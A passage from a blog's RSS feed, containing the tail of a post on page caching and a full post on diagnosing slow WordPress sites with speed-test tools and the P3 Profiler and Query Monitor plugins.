&lt;p&gt;Whatever solution you choose, make sure it works correctly. Page caching is, as I’ve said at the beginning of the post, the simplest thing you can implement to speed up your website.&lt;/p&gt;</content:encoded><category>Performance</category><author>Andrei Chira</author></item><item><title>How to identify WordPress performance problems</title><link>https://kiravo.net/blog/identify-the-problems/</link><guid isPermaLink="true">https://kiravo.net/blog/identify-the-problems/</guid><description>How to find what&apos;s actually slowing a WordPress site down using P3 Profiler and Query Monitor, before you start optimising anything.</description><pubDate>Tue, 12 Dec 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;So, you have a WordPress website, and you feel it loads too slow, and you would like to make it faster.&lt;/p&gt;
&lt;p&gt;There are quite a few tools to test your website’s speed/performance:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://tools.pingdom.com/&quot;&gt;Pingdom Tools&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://gtmetrix.com/&quot;&gt;GTMetrix&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.webpagetest.org/&quot;&gt;WebPageTest&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://developers.google.com/speed/pagespeed/insights/&quot;&gt;Pagespeed Insights&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can use Pingdom Tools to see the loading time of the elements. For example, the long yellow line (wait) in the picture below might mean there’s a slow query, PHP takes too long, you don’t have a cache, or maybe the server responds too slow.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;wait time&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/wait.x1YwBldY_1EmMJ8.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;When it comes to images, the long green line (receive) might mean that the photo is too big and it could be optimized for the web to obtain a smaller size in KB which will result in a faster loading time.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;receive time&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/receive.CbsKQAYY_2b36HI.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;YSlow is also an excellent tool to see how many elements the page is loading. It can give you information on how many CSS &amp;#x26; JS files a theme or plugin loads.&lt;/p&gt;
&lt;p&gt;You can also check if there are unused or redundant files, like in the example below.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;redundant css file&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/redundant.CvRVlO7s_ORFco.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;The only tool I don’t like is Google PageSpeed Insights (just kidding, I don’t hate it 100%).&lt;/p&gt;
&lt;p&gt;But it makes people crazy. It gets them all hung up on getting a high score, and they spend a lot of time trying to improve things that don’t matter that much.&lt;/p&gt;
&lt;p&gt;I’ve seen websites with a low score (75-80) that load faster than sites with higher scores (90).&lt;/p&gt;
&lt;p&gt;So don’t get hung up on scores, use it to get a glimpse of what might be wrong, and to improve WordPress performance go to the origin and look at your foundation.&lt;/p&gt;
&lt;p&gt;Your foundation is the code (WP + theme + plugins).&lt;/p&gt;
&lt;p&gt;To test it you can use these WordPress plugins:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/p3-profiler/&quot;&gt;P3 (Plugin Performance Profiler)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/query-monitor/&quot;&gt;Query Monitor&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;p3-plugin-performance-profiler&quot;&gt;P3 (Plugin Performance Profiler)&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;Plugin performance profiler&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/plugin-performance-profiler.BKmNoPXl_Z1OPtGN.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;It’s an excellent way to find out if there’s a bad plugin, a plugin that uses too many resources or has a negative impact on loading time.&lt;/p&gt;
&lt;p&gt;It is easy to use even for a beginner, but sometimes it’s not very accurate, or you can’t find anything that might be wrong.&lt;/p&gt;
&lt;p&gt;In those cases, to see more detailed information about what’s going on under the hood you can use the Query Monitor plugin.&lt;/p&gt;
&lt;h2 id=&quot;query-monitor&quot;&gt;Query Monitor&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;Query monitor&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/query-monitor.Dbg7W73X_ZqfQlr.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;The plugin is helpful to view debugging and performance information on database queries, hooks, conditionals, HTTP requests, redirects and more.&lt;/p&gt;
&lt;p&gt;After you install the plugin, you will see a new admin bar menu with a quick overview of the current page. You can click on any item in the list, and it will take you to the footer of the page where you can see complete data.&lt;/p&gt;
&lt;p&gt;It is a great plugin to see if the theme or a plugin makes too many queries if you have slow queries &amp;#x26; more.&lt;/p&gt;
&lt;p&gt;After you have identified what might be dragging down your website, it is time to fix the problems.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;From a cost-benefit point of view 5 things matter the most:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;well-coded themes &amp;#x26; plugins&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;clean database&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;caching&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;optimized images&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;decent hosting&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The most important is your foundation (the code), but we are going to start the other way around, with the most comfortable things to implement for end-users.&lt;/p&gt;</content:encoded><category>Performance</category><author>Andrei Chira</author></item></channel></rss>